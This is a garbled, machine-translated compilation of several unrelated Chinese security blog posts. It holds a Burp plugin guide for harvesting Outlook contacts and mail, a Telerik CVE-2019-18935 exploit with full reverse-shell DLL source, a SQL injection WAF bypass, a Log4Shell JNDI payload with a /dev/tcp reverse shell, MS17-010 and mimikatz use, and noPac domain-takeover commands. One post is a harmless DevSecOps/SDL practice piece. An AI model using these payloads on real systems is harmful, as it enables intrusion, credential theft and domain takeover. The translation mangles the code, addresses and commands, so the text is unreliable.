TCP 172.16.2.2.100:8080 172.16.12.34:55686 Time_Wait 0

TCP 172.16.2.2.100:49717 38.90.226.62:8883確立3576

TCP 172.16.2.2.100:50848 172.16.2.2.100:51407 TIME_WAIT 0

TCP 172.16.2.2.100:51413 172.16.2.2.19033601433確立された7600

TCP 172.16.2.2.100:51447 172.16.2.2.19033601433確立された7600

TCP 172.16.2.2.100:56063 172.16.2.11:2222確立3576

TCP 172.16.2.2.100:56538 92.223.66.483360443確立された3564

TCP [:] :135 [:] :0リスニングインズ600

TCP [:] :445 [:] :0リスニング4

TCP [:] :1090 [:] :0リスニング7600

TCP [:] :1098 [:] :0リスニング7600

TCP [:] :1099 [:] :0リスニング7600

TCP [:3360] :3389 [:] :0リスニング1072

TCP [:3360] :3873 [:] :0リスニング7600

TCP [:] :4444 [:] :0リスニング7600

TCP [:] :4445 [:] :0リスニング7600

TCP [:] :4446 [:] :0リスニング7600

TCP [:] :4457 [:] :0リスニング7600

TCP [:] :4712 [:] :0リスニング7600

TCP [:] :4713 [:] :0リスニング7600

TCP [:3360] :5985

0x01はじめに

これは、Outlookユーザー情報の収集のためのげっぷプラグインです。 Outlookアカウントにログインした後、これを使用できます。

プラグインは、すべての連絡先情報を自動的にクロールします

0x02インストール

バープエクステンションパネルに瓶をロードするだけ

0x03関数はじめに

1.すべてのユーザー

プラグインをロードした後、Outlook連絡先パネルを入力して、すべてのユーザーをクリックします

1049983-20230217095754648-934138006.jpg

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス

/wa/service.svc?action=findpeopleapp=people

1049983-20230217095755615-1407529720.jpg

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

1049983-20230217095756527-258145748.png

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

1049983-20230217095757297-634296044.png

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

1049983-20230217095758096-92972468.jpg

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザーメールを取得してすべてのメールを取得します。

1049983-20230217095758848-1201452255.jpg 1049983-20230217095759742-1384183711.jpg

2。注意

このAPIには、同じURLと異なるポスト提出パラメーターが多数あります。間違ったAPIインターフェイスを選択すると、ポップアッププロンプトがあります。

1049983-20230217095800733-584994050.jpg 1049983-20230217095801761-820625906.jpg 010-10すべてのユーザーのすべてのパケットは、正常に使用するためにロードする必要があります。連絡先情報は、すべてのユーザーパケット情報に基づいています。最初のステップが実行されない場合、ポップアップリマインダーがあります。

1049983-20230217095802597-563015457.jpg

プロキシ-HTTP History Filter APIインターフェイスでのAPIインターフェイス

/wa/service.svc?action=getpersonaapp=people

1049983-20230217095803597-1431839783.jpg

リクエストを選択して、メニュー拡張機能を右クリックします-Outlook情報コレクション - Ooutlookメールスキャンを行います

1049983-20230217095804404-1030562578.png

スキャンの進行状況は、エクステンダー - 拡張機能- Outlook Information Collection-出力に表示されます

1049983-20230217095805256-542719959.jpg

プラグインは、すべてのパケットを自動的にクロールし、各リクエスト応答パッケージを表示できるディレクトリツリーを生成します。

1049983-20230217095806159-1229654401.jpg

リクエストを右クリックすると、右クリックメニューが表示され、すべてのユーザー個人情報を取得してすべての連絡先情報を取得します。

1049983-20230217095807230-1070577141.jpg 1049983-20230217095808001-189242314.jpg取得するツール:公式アカウント返信キーワード「Outlook」

いくつかの抜け穴が最近掘られました。繰り返されていますが、参照値があります。ここであなたと共有させてください。

抜け穴を繰り返すことはまだ非常に不快です。あなたがそれについて考えるとき、人生は決して満足のいくものではありません。抜け穴を繰り返すことは、失敗を意味するものではありません。最初に来てから来ることが重要であり、外観の順序が重要です。

1.特定のサイトRCEは、ドメイン名:https://***。*** :8089/をテストするために私を連れて行ってくれた司祭に感謝しているスコープ著者の司祭に感謝しない理由を無視します。

CVE-2017-11357 CVE-2019-18935 CVE-2017-9248脆弱性が存在します

脆弱性エクスプロイトダウンロードアドレス:

https://github.com/noperator/cve-2019-18935

https://github.com/noperator/cve-2019-18935.git

遅延11S:SLOIP 11S:

テストコード:テスト

复制代码#windows.hを含めます

#include stdio.h

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

if(fdwreason==dll_process_attach)

//スリープ(10000); //数百万秒単位の時間間隔。

睡眠(11000);

trueを返します。

}

test.cはAMD642.dllファイル复制代码にコンパイルします

:python CVE -2019-18935.py -v 2017.1.228 -p Payloads \ amd642.dll -u https://**** :8089/telerik.web.ui.webresource.axd?Type=rau

1dvkm1mueqq3407.png

ybnfoe11scq3408.png

最初のステップは正常に確認することです。成功遅延は約11秒、元のリクエストは2秒です

テストコマンド実行:

复制代码#windows.hを含む

#include stdio.h

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

if(fdwreason==dll_process_attach)

system( 'cmd.exe /c nslookup rsmwe.dnslog.cn');

System( 'cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net');

trueを返します。

} test.c AMD642.dllファイルにコンパイル

复制代码

もう一度実行してDNSLOG:を表示します

ibhvziitl4v3411.png

直接リバウンドシェル、一般exp:

复制代码#winsock2.hを含む

#include stdio.h

#include windows.h

#pragmaコメント(lib、 'ws2_32')

#define host '{vps ip}'

#define port {port}

wsadata wsadata;

ソケットウィンソック;

ソケットソック;

struct sockaddr_in hax;

char aip_addr [16];

startupinfo ini_processo;

process_information processo_info;

//https://github.com/infoskirmish/window-tools/blob/master/simple%20reverse%20shell/shell.cからの適応

void reverseshell()

{

wsastartup(makeword(2、2)、wsadata);

winsock=wsasocket(af_inet、sock_stream、ipproto_tcp、null、0、0);

struct HOSTENT *host=gethostbyname(host);

strcpy(aip_addr、inet_ntoa( *((struct in_addr *)host-h_addr)));

hax.sin_family=af_inet;

hax.sin_port=htons(port);

hax.sin_addr.s_addr=inet_addr(aip_addr);

wsaconnect(winsock、(sockaddr*)hax、sizeof(hax)、null、null、null、null、null);

if(wsagetlasterror()==0){

memset(ini_processo、0、sizeof(ini_processo));

ini_processo.cb=sizeof(ini_processo);

ini_processo.dwflags=startf_usestdhandles;

ini_processo.hstdinput=ini_processo.hstdoutput=ini_processo.hstderror=(handle)winsock;

char *myArray [4]={'cm'、 'd.e'、 'x'、 'e'};

charコマンド[8]='';

snprintf(command、sizeof(command)、 '%s%s%s'、myarray [0]、myarray [1]、myarray [2]、myarray [3]);

createProcess(null、command、null、null、true、0、null、null、ini_processo、processo_info);

}

}

dword winapi mainthread(lpvoid lpparam)

{

Reverseshell();

0を返します。

}

bool winapi dllmain(hinstance hinstdll、dword fdwreason、lpvoid lpresived)

{

hthreadを処理します。

if(fdwreason==dll_process_attach)

hthread=createThread(0、0、mainthread、0、0、0);

trueを返します。

} 复制代码

許可は低くありません、それはドメインユーザー:です

0ndvsdy02t53414.png

2。SQL注入:背景紹介:友人が注射を送った。この注入は非常に難しいです。 XXクラウドのWAFがあり、バックエンドフィルターのコンマ、奇数と二重引用符、および通常の機能があります。私のアイデアは非常にシンプルで、16進数です。 regexp機能だけで、他のアイデアがあるべきだと思います。

(Case+When+Current_user+regexp+0x*+then+1+else+2*1e308+end)この方法では、データベースユーザーが作成されます。

ここで、声明の場合のケースについてお話したいと思います。声明が私たちが想像したよりもはるかに柔軟である場合。ここでメモを取り、について話します

最も一般的な:

0adbzrsvstf3415.png

異常なことを言って、私は2つのデモを書きます、そして私はそれを続け続けることができます:

2=2の場合、ケース1=1次に1=1 else 1/0 end

pwol4uu2but3416.png

ac2yy4brimx3417.png

3.urlジャンプ +アイデンティティ認証トークンリーク:昨夜それを掘りました、そして、私が無視する理由は複製です。時々、私は一部のメーカーに非常に言葉を失い、脆弱性はそこにあり、彼らは修正されていません。それは私に幻想を与え、抜け穴を見つけ、ハニーポットを踏むという幻想を持っていました。資産範囲は:VC-*。xxx.comです

実際、私は簡単なファズを作ることができ、多くの資産を見つけたので、私はこの範囲に遭遇してとてもうれしいです。

1つずつ開いて視聴し、VC-Ss.xxx.comにアクセスしてサイトにアクセスし、直接ジャンプしてログインを求めます。

私は神ではなく、説明もありません。私はJSを見て、PATH情報へのアクセスが見つかりませんでした。

ファズから始めて、PHPであることがわかっている場合は簡単です。 FFUFを使用してPHP/API辞書を実行し、インターフェイス開発ドキュメント/API /***.htmlに実行します

インターフェイス開発ドキュメントの当初の意図は良好ですが、ほとんどのインターフェイス開発ドキュメントに関するスクリーンショット情報/インターフェイス情報は、二次脆弱性の搾取のリスクがある可能性があります。残念ながらテスト後、スクリーンショット情報はすべてプレーンテキストですが、ほとんどすべてのインターフェイスが401に直接アクセスできることがわかり、ID認証が必要であることがわかりました。私は少し無力でした。私があきらめたかったとき、私はいつも自分自身に読んだ後に慎重に読むように自分自身に言いました。私はインターフェイスドキュメントを見つめ続け、めくっていて、アイデンティティトークンリークやその他のセキュリティの脆弱性を見つけました。

私は抜け穴を提出し、朝:に重複したメッセージを受け取りました

s1lid2541ut3418.png

オリジナルリンク:https://www.cnblogs.com/piaomiaohongchen/p/17130283.html

1。序文

一般的に、安全性は運用および保守部門に属します。前の会社の運用およびメンテナンスディレクターと、毎日の安全作業をDevOpsに統合できるかどうかについて話しました。まもなく、私はさまざまな理由で去りました。 5月、彼は2018年にサードパーティの支払い会社に入社し、年の前半にさまざまな検査に費やしました。規制状況は深刻であり、主要な指導者は安全性(主に監督)の重要性を持ち、2019年のすべての部門の目標は安全に関連しています。支払い会社はさまざまな規制機関からの検査に直面する必要があるため、一部のセキュリティは比較的うまく行われています。ほぼ1年の会社に精通した後、アプリケーションのセキュリティが比較的弱いことがわかっています。業界のより良いソリューションのこの部分はSDLです。さまざまなメーカーと通信した後、私は会社で少しずつ宣伝することにしました。

1049983-20230223005505851-1935601238.png

上の写真は、SDLの標準バージョンを示しています。操作とメンテナンスはDevOpsシステムを採用しているため、テストでは機能テストにも自動化を使用します。バージョンの反復サイクルは比較的速く、セキュリティスタッフは不十分であり、SDLの脅威モデリングも混乱しています。プロセス全体に安全が追加された場合、それは配達時間に深刻な影響を与えます。この場合、業界のいくつかの慣行が調査され、SDLを簡素化することを決定しました。 SDLの簡素化されたバージョンは次のとおりです。

1049983-20230223005506900-1241560024.png

2。 Lite SDL実装練習

安全トレーニング

コアSDLの1つはセキュリティトレーニングです。そのため、セキュリティトレーニングの観点から、セキュリティコーディング、セキュリティ認識、セキュリティ知識ベース、セキュリティSDKを行いました。

安全コード:

Javaセキュリティコーディング仕様、製品セキュリティ設計および開発セキュリティの仕様がオンラインで、会社の実際のビジネスと組み合わせて、バージョンをリリースしました。1049983-20230223005507712-1799677019.png

さまざまな規制機関にはトレーニングの要件があるため、安全トレーニングを導入し、開発と新しい従業員の採用のために定期的にトレーニングを受けています。1049983-20230223005508666-156154663.png

安全性認識:

同社は企業のWECHAT公式アカウントを持っており、ほとんどの従業員はそれに従い、公式アカウントで宣伝しています。1049983-20230223005511575-1861001679.png

プロモーションが完了したら、小さな贈り物をください

1049983-20230223005512954-1257222268.png

スタッフが不十分であるため、機能テストと安全性テストは本質的に共通しています。テスト部門も比較的協力的であり、テスター向けの安全性テスト関連トレーニングを実施していますが、効果はあまり理想的ではありません。

1049983-20230223005513820-1671772662.png

安全知識ベース:

脆弱性修復プロセス中、多くの開発は原則と修復ソリューションを理解していないため、セキュリティ知識ベースを確立し、関連するソリューションをチェックするためにセキュリティ知識ベースに進みました。見つからない場合は、セキュリティ担当者と通信し、セキュリティ担当者は常に知識ベースを更新して閉ループを形成します。

1049983-20230223005514543-574197297.png

セキュリティSDK

会社には建築部門があるため、開発フレームワークは基本的に建築部門によって提供されています。アーキテクチャ部門と共通の脆弱性を伝えた後、SDKを使用して建築に脆弱性修復方法を実装させます。開発には、JARパッケージをインポートして構成ファイルに構成する必要があります。また、多くの落とし穴があり、ゆっくりと最適化する必要があります。

1049983-20230223005515341-1061280096.png

3。安全要件設計

会社にはプロジェクト承認システムがあり、すべてのプロジェクトの承認はシステムを通じて確立する必要があります。安全性は必須であり、レビュー会議の安全性も参加する必要があります。

1049983-20230223005516070-1183240391.png

現時点では、プロジェクトマネージャーは基本的にセキュリティ担当者に連絡して通信し、VIP製品の安全設計仕様をコピーし、要件文書とプロジェクトマネージャーに基づいてセキュリティニーズを決定します。

1049983-20230223005518167-302814842.png

セキュリティ要件を確認した後、必要に応じて要件ドキュメントに追加され、セキュリティテスト時間を確認します。このプロセスは、新しいプロジェクト専用です。開始されたプロジェクトの要件は、このプロセスに従うことはありません。その後のセキュリティテストでは、プロジェクトのこの部分がどのように行われるかについて説明します。

1049983-20230223005519575-917103671.png

iv。開発、セキュリティテスト

セキュリティテストは、主にコード監査、脆弱性スキャン、および手動セキュリティテストに分割されています。これから派生した安全製品は、3つのカテゴリに分かれています。 DAST:Dynamic Application Security Test(WVS、AppScan)、SAST:Static Application Security Test(Fortify、RIPS)、IAST:Interactive Application Security Test(Seeker、Lijian)。これら3つの製品の詳細な紹介については、https://www.aqniu.com/learn/46910.htmlを参照してください。以下の図は、3つの製品のテスト結果の比較です。

1049983-20230223005520614-1980739689.png

これらのタイプの製品は自動化でき、DevOpsに継承できます。次に、これらのツールを開発テストフェーズに組み込みます。

IASTには多くの実装モードがあり、一般的なモードにはプロキシモード、VPN、トラフィックミラーリング、計装モードが含まれます。この記事では、2つの最も代表的なモード、プロキシモードと計装モードを紹介します。調査対象の製品の一部は以下の図に示されており、特定のテスト結果は発表されません。

1049983-20230223005521457-454737043.png

開発段階

いくつかの種類の製品を調査すると、Iastの計装モードを開発環境に直接配置できます。開発環境とテスト環境のコードの主な違いは、Application.yml構成ファイルです。そのため、このモードは事前に開発段階に配置できます。

開発がコードの書き込みを完了し、GitLabに送信して開発環境に展開してアプリケーションを開始すると、開発は機能が利用可能かどうかを確認する必要があり、現時点では脆弱性があるかどうかを検出できます。

同社は、テスト環境で牧場主を使用し、Iast JARパッケージをプロジェクトのGitLabに入れ、展開中にコードをローカルに引いて、DockerFileファイルを変更してJARパッケージをコンテナに追加します。

シェル/xxx.jar/home/app/xx/libを追加します

会社のプロジェクトは基本的にSpring-Bootを使用しているため、すべてのプロジェクトはstart.shスクリプトを通じてアプリケーションを開始します。 start.shとdockerfileをプロジェクトのgitlabに追加し、start.shスクリプトファイルを同時に変更する必要があります。

-javaagent: $ app_home/lib/xx.jar -jar $ app_home/app/*。jar - spring.profiles.active=dev $ app_home/logs/startup.log 21

テスト項目は次のとおりで、タイプミスは無視されます。

1049983-20230223005522132-529066295.png

開発および提出コードが展開されたら、通常の機能にアクセスすると、プラットフォームに脆弱性があるかどうかを確認できます。

1049983-20230223005522696-404919098.png

1049983-20230223005523433-204390000.png

1049983-20230223005524107-1209971798.png

一部の製品では、サードパーティのコンポーネントパッケージも検出されます。

1049983-20230223005524868-632493352.png

同社は港を使用して倉庫として画像をミラーリングしています。プロジェクトが展開された後、ミラーにパッケージ化され、港にアップロードされます。ハーバーには、ミラースキャン機能が付属しています。

1049983-20230223005525557-202407059.png

テストフェーズ

開発が完了した後、テスト段階に入ります。この段階では、静的コードスキャン、機能テスト、セキュリティテストを実施します。

静的コードスキャン

Static Code Scanningツールを使用して、コンパイル前にコードをスキャンし、セキュリティの問題を含む静的コードレベルでさまざまな問題を見つけます。いくつかのツールリスト:1049983-20230223005526258-2127755831.png

静的コードスキャンSonarqube統合を使用し、FindBugseCurity、合理化されたルールを使用し、継続的な建設プロセス中に静的コードバグと安全なスキャンを実行します。

1049983-20230223005526910-1086384454.png

静的コードをスキャンしている間、サードパーティの依存関係パッケージもスキャンできます。 OWSAPの依存関係チェックは、連続的な建設プロセスに統合できます。 IASTクラスの製品はこの機能をサポートしているため、紹介しません。

機能テスト

機能テストの観点から、同社のテスト部門は自動テストプラットフォームを実装しています。初期段階では、エージェント検出を使用しませんでした。最初は、オープンソースのGourdscan Plus OpenRaspを使用し、デフォルトのOpenRaspを使用して、非インターセプトモードと脆弱性レコード関数を有効にして、サーバーで返されない脆弱性を検出しました。

自動化プラットフォームでプロキシIPを構成するだけです。

OpenRasp脆弱性レコード

1049983-20230223005842123-671978983.png

その後、テストでは、汚れたデータスキャンが多すぎて効果があまり良くないことが報告されているため、この計画をあきらめました。 IASTの計装方法は開発段階で使用され、テスト環境ではエージェントも使用して、開発環境と同じ方法で問題を検出します。機能テストが完了した後。テスターは脆弱性をあまり理解していないため、指定されたプロセスは、テスターがプラットフォームにアクセスしてレポートとセキュリティ担当者を表示して、どの問題を修正する必要があるかを伝え、テストレポートに問題を記述することです。

安全テスト

テストフェーズ中にセキュリティがプロセス全体に追加されました。すべての要件の変更を完了する必要があり、機能テストが必要です。つまり、すべてのプロセスがセキュリティテストに合格しています。このようにして、セキュリティスタッフはそれほど十分ではありません。内部および外部サービスを区別する方法を使用して、介入するためにセキュリティ担当者が必要かどうかを判断することが決定されます。

1049983-20230223005902448-222221029.png

脆弱性管理

脆弱性管理は脆弱性管理システムを策定し、脆弱性は影響の程度に応じて評価されます。重大な脆弱性を起動する前に修正する必要があります。高、中、低リスクの脆弱性には小さな影響があり、スケジュールする必要があります。セキュリティ担当者は、脆弱性修理の状況を定期的に追跡します。

v。監視

支払い会社には一般的にセキュリティ機器があります。この部分は基本的に、デバイスのsyslogをログセンターに使用して視覚化し、対応するルールをカスタマイズしてアラームを達成します。

vi。結論

個人の知識と経験は、SDLシステムにあまりよく知られておらず、経験がないため、現在のレベルにしか到達できません。将来、プロセスを最適化して追加する場所がたくさんあります。良い提案がある場合は、お気軽にお気軽にお問い合わせください

出典:https://xz.aliyun.com/t/5656

ネットワークトポロジー

1049983-20230224112439293-1629704471.png

情報収集

侵入テストの最初のステップはもちろん情報収集です

IP192.168.81.151を取得し、最初にNMAPを使用して通常のTCPポートをスキャンします。

NMAP -V -PN -T3 -SV -N -ST-OPEN -P 22,1222,222,222345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,500 0,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88,38080,38080. 192.168.81.151

2つのポート22,38080が開いていることがわかりました

1049983-20230224112440302-161893427.png

NMAPを通じて、これはUbuntuであり、22はSSHであり、ポート38080は不明であることがわかります。アクセスしてみましょう。

1049983-20230224112441015-1606254674.png

そこで、最新の新しい脆弱性CVE-2021-44228を試して、dnslogを取得できるかどうかを確認しました

1049983-20230224112441754-989805708.png

CVE-2021-44228の脆弱性が見つかりました。シェルを取得してみてください

CVE-2021-44228利用

VPS Kali(192.168.81.133)でLDAPを最初に有効にします:

git clone 3https://github.com/black9/log4shell_jndiexploit.git

Java -jar jndiexploit -1.2 -snapshot.jar -i 192.168.81.133

1049983-20230224112442401-1799288793.png

その後、Kaliの9999ポートで聞いてください。

1049983-20230224112443129-1120562669.png

リバウンドシェルにはtomcatbypassを使用します

1049983-20230224112443857-1816671400.png

/bin/bash -i /dev/tcp/192.168.210.23/9999 01 -Bounce Shell

リバウンドシェルコマンドには、base64エンコーディングが必要です

1049983-20230224112444657-150046970.jpg

BPパケットキャプチャ、パラメーター送信の投稿への変更、ペイロードの構築

ペイロード=$ {jndi3:ldap3360 //192.168.81.1:1389/tomcatbypass/command/base64/ymfzaCatasa+jiavzgv2l3rjcc8xotiumty4ljgxljezmy85otk5ida+jje+

最後に、EXPを使用してシェルを正常にリバウンドします。 base64エンコードを実行するために2回Encodingを実行する必要があります

1049983-20230224112445349-1880270644.png

1049983-20230224112446035-2093462483.png

私が手に入れたシェルはDockerコンテナであることがわかりました

私は逃げる方法を見つけられず、最終的に/root /ディレクトリでフラグファイルを見つけました。

1049983-20230224112446659-1582184670.png

flag {redteam.lab-1}おめでとうございます、あなたはこの: Saul Saul123を手に入れました

フラグがあり、アカウントのパスワードに似たものがありました

情報収集中、NMAPはターゲットホストにスキャンして22SSHサービスを開きますので、SSHになる可能性のあるアカウントパスワードについて考えてください

イントラネット情報コレクション

前のセクションで取得したアカウントとパスワードを介してUbuntuシステムにログイン

1049983-20230224112447319-361521344.png

現在のマシンには2つのネットワークカードがあり、1つは外部ネットワークをリンクするために使用され、もう1つのENS38がイントラネットの通信に使用されていることがわかります。

1049983-20230224112448090-1276995160.png

実際のイントラネットの浸透:イントラネットの浸透がLinux環境にある場合は、Linuxが完全に構築されているため、すべてのバッシュとPythonizationを形成してみてください。外部ツールにあまり頼らないようにしてください。

したがって、ENS38のCセグメントネットワークをpingするには、for loopを使用します

10.0.1。{1.254}のIの場合ping -c 3 -w 3 $ i /dev /nullの場合は行います。次に、echo $はターゲットを見つけます。 fi;終わり

1049983-20230224112449171-1244750120.png

イントラネットに別のマシン10.0.1.7があることがわかりました

または、スキャン情報ツールを使用して、イントラネット情報を収集します

KaliでPythonを使用してHTTPDをすばやく構築します

在这里插入图片描述

ターゲットマシンのダウンロードツールと付与権限

在这里插入图片描述

イントラネット情報を収集します

在这里插入图片描述

10.0.1.7は生き残ることがわかっており、MS17-010で存在していました

その後、便利なため、FRPを使用して現在のマシンのトラフィックをプロキシすることにしました。

frps.iniを構成します

1049983-20230224112453151-2127359350.png

frpc.iniを構成します

1049983-20230224112453875-703136445.png

次に、Metasploitを使用してSocks5をセットアップして、イントラネットに関する詳細な情報を収集します。

setg Proxies socks5:192.168.81.13:8888setg ReverseAllowProxy true

1049983-20230224112454590-999174959.png

SMBバージョン検出モジュールを使用して、ターゲットをスキャンします。

補助/スキャナー/SMB/SMB_Versionを使用します

1049983-20230224112455381-1095096075.png

ターゲットバージョン10.0.1.7はWindows 7であり、ドメインRedTeamが存在することがわかりました。

Windows7であるため、MS17-010の脆弱性がある可能性があります

MS17-010利用

前のセクションを通じて、10.0.1.7がWin7であることがわかり、その後、検出を実施します。

1049983-20230224112456243-449342750.png

検出を通じて、このマシンにMS17-010の脆弱性があることがわかりました。

ターゲットは、イントラネットが必ずしもネットワークを離れるわけではないため、TCP反射接続を使用できません。フォワードbind_tcpにペイロードするように設定します

1049983-20230224112457059-1616668651.png

1049983-20230224112458087-1589219523.png

win7アクセス許可を直接取得し、mimikatazをロードしてパスワードを取得します

ユーザー名ドメインパスワードルートレッドチームRED12345METERPRETER LOADMIMIKATZロードツール

MeterPreter Creds_Allはクレジットをリストします

コマンドは、メモリからパスワードを取得することであり、射撃範囲の元の状態が一時停止され、復元されることに注意してください。再起動する場合は、Win7に1回ログインする必要があります。

1049983-20230224112459386-400238020.png

この時点で、ドメインユーザーのアカウントを取得しました。

イントラネット武器CVE-2021-42287、CVE-2021-42278

現在のイントラネットに関する情報を収集した後、Win7にはイントラネットネットワークカードもあることがわかりました。

1049983-20230224112500181-544535760.png

1049983-20230224112500885-1700250183.png

ドメインコントロールからドメインコントロールへのIPアドレスは10.0.0.12です

1049983-20230224112501591-641415294.png

2つのドメインの脆弱性が最近公開されているため、CVE-2021-42287およびCVE-2021-42278は、それらを直接搾取しようとします。

特定の原則は、ドメインにドメインコントロール名DCがある場合(ドメインコントロールに対応するマシンユーザーはDC)、攻撃者は脆弱性CVE-2021-42287を使用してマシンユーザーSaulgoodmanを作成し、MachineユーザーのSamacountnameをDCに変更します。次に、DCを使用してTGT請求書を申請します。次に、DC SamacCountNameをSamacCountNameに変更します。現時点では、KDCはドメインにDCとこのユーザーが存在しないことを判断し、DCを自動的に検索します(DCはドメインに既にドメインに既に制御されたDCのSamacCountNameです)。攻撃者は、S4U2Selfに適用したばかりのTGTを使用し、ドメイン内のドメインマネージャーをシミュレートしてドメイン制御DCのSTチケットを要求し、最後にドメインコントローラーDCの権限を取得します。

したがって、MSFを使用してSocks5を追加します

1049983-20230224112502321-1486248533.png

ルートを追加します

Autoroute -S 10.0.0.7/24を実行します

1049983-20230224112503034-1970568292.png

次に、ローカルプロキシを追加するだけです

1049983-20230224112503650-1212863661.png

ツールを使用してアドレスをダウンロードします

https://github.com/wazehell/sam-the-admin

https://github.com/ridter/nopac

https://github.com/waterrr/nopac

次に、スクリプトを使用します

proxychains python3 sam_the_admin.py 'redteam.lab/root:red12345' -dc -ip 10.0.0.12 -shell proxychains python nopac.py redteam.lab/root3:'red12345 '-dc -0.0.0.0.0.0.0.0.0.0.0.0.0.0.0. -use -ldapproxychains python3 exp.py 'redteam/root:red12345' -dc -ip 10.0.0.12 -shell

1049983-20230224112504432-1322113048.png

最後に、私は最終フラグを取得しました。

1049983-20230224112505200-132523298.png

ターゲットマシン環境:リンク: https://pan.baidu.com/s/18pxdc2ff_zdsxonpsug1fyg抽出コード: 8dcyオリジナルリンク: http://WWW.KRYST4L.CN/2021/12/22/%E4%BB%8E%E5%A4%96%E7%BD%91-LOG4J2-RCE-%A5%86%8D%E5%88%B0%E5%86歳%E5%BC%B9%E7%BB%84%E5%90%88%E6%8B%B3%E6%BC%8F%E6%E3%9E-CVE-2021-42287%

つまり、最後の復号化の後、開発チームはあきらめませんでした。数ヶ月後、返品パッケージも暗号化されました。圧縮および難読化されたフロントエンドJS

mt2qoorxxec3257.png

観察によると、最初はサーバーが同じRSA+AES暗号化を実行し、RSA暗号化された後にキーとIVを送信し、AESによってAESによって暗号化されたデータフィールドを送信することも当初考えられています。しかし、私たちにとって、これは実際にシステムへのs辱を増し、システムのセキュリティを減らします。これにより、フロントエンドがRSA+AESを復号化できるため、RSA秘密キーは間違いなくフロントエンドに存在します!

操作を開始1。古いルールでencryptivフィールドを検索し、疑わしい復号化された部分を見つけ、ブレークポイントを押してログインリクエストを送信します

ke1cz1ztqa53258.png

バープはパケットをつかみ、パケットを返し、データフィールドを抽出します

ql5trj32zlb3259.png

ブレークポイントでRSAによって復号化されたAEのキーとIVの値を抽出します

5tkck4galmp3260.png

nとaをフロントエンドのブレークポイントからキーとして、ivをGuigui JSデバッグツールに入れて、復号化を試みます。復号化は成功しているため、このアイデアに問題はありません。つまり、ここでのコードは、サーバーからencryptivとencryptkeyを元のキーとAEのオフセットに復号化します。

wdgotjhmbqp3261.png

2。復号化コードによると、RSA秘密キー(p.D)を見つけ、ディスプレイは不完全です。 Ctrl+Fをコピーして、完全なRSA秘密キーを検索します。

10akwvpqcqf3262.png

jsencrypt.jsスクリプトを使用して、エラーを解読して見つけます。その理由は、元のJSがブラウザのウィンドウとナビゲーターメソッドを呼び出すからです。これら2つは、ブラウザウィンドウ情報とマウスの位置情報を取得して乱数を生成するために使用されます

grr51nyoour3263.png

335cqcgs1vk3264.png

検索を通じて、誰かが最初に元のJSENCRYPTを変更し、ウィンドウとナビゲーターの方法を削除して使用したことがわかりました。投稿アドレス:https://bbs.125.la/forum.php?mod=viewthreadtid=14113049

dbwzpfgekl53265.png

Guigui JSを使用したデバッグ

xymuu5ofvmi3266.png

3.最後のステップは、自動暗号化と復号化スクリプトの書き込みを改善することです。古いルールは、依然としてmitmweb+burpの組み合わせです。ブラウザは最初にげっぷをし、次にPythonスクリプトを実行するためにMITMWEBに二次プロキシを燃やし、次にサーバーに送信します。一般的なアイデアは次のとおりです。

xvnrr3jsubi3268.png

実際、私は90%が完成し、残りの10%が自動化されたスクリプトを書くために書かれていると思いました。その結果、JSの復号化への呼び出しが成功しなかった理由のために、この10%が数日かかりました。その後、それは解決され、一般的に言えば、AESアルゴリズムJS、およびPythonと関係があります。この大きなピットについて詳細に説明することができます。今日この部分をスキップしてください。

最後に、最後のスクリプトで、フロントエンドの復号化をキャンセルするコードとMITMWEBへのコードをキャンセルして、応答を復号化するのに役立ちました。

1049983-20230227143700492-387396060.jpg

デバッグは成功し、げっぷは快適で、プロセス全体が明確でした。

1049983-20230227143701198-922955987.jpg

ちなみに、ハァッ?検証コードハハハでフロントエンドに戻るリスクの高い脆弱性を見つけました。しかし、私は親切です。この暗号化と復号化はしばらく解決されないので、今は金曜日ですので、それを開発と呼び、来週の月曜日に脆弱性を修正しましょう。次回まで特定の新しいコードパーツを離れましょう。この大きなピットを復号化するときは、AESと一緒に話しましょう。

序文

攻撃的で防御的なドリル中に、チームは最初にウェブシェルを取得し、次にコバルトストライクへの許可をバウンドして、イントラネットの浸透を促進します。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】現在のマシンがパブリックネットワークサーバーであることを発見することにより、パブリックネットワークIP:xxx.xxx.xxx.16のみが

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】 ARPキャッシュを表示することにより、現在いくつかのパブリックネットワークマシンがあることがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

これらのIPSを照会することにより、それは「ネットワーク」であることがわかり、NBTSCANを介して、現在のCセグメントには生存するホストがあることがわかります:(現在のCセグメントマシンにはドメインがあると判断されますが、確かではありません)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

内部イントラネットマシンの現在の最初の層のCセグメントを水平に移動

攻撃的で防御的なドリルであるため、ポイントが多いほど良いです。ここでは他の問題を考慮していません。現在のマシンを取得した後、私は平文パスワードをキャッチしました:

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】ただし、このパスワードを使用してMSFを使用してパスワードを介してCセグメントをスプレーすると、ホストが正常に水平になっていないことがわかりました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

この瞬間、私は再びスキャンしてMS17010があるかどうかを確認しました:(一般的に言えば、この種の「Xiang.com」には基本的にいくつかの永遠の青があるので、スキャンするだけです)

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

3つのユニット92、151、および200がMS17010に存在することがわかりました。その後、このユニットを92と呼びます。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】その後、MSFとCSがリンクされ、MSFシェルを再度CSにポップし、許可を維持しました。

一次在工作组的内网里渗透到第三层内网【从 0 到 1 打穿所有内网机器】

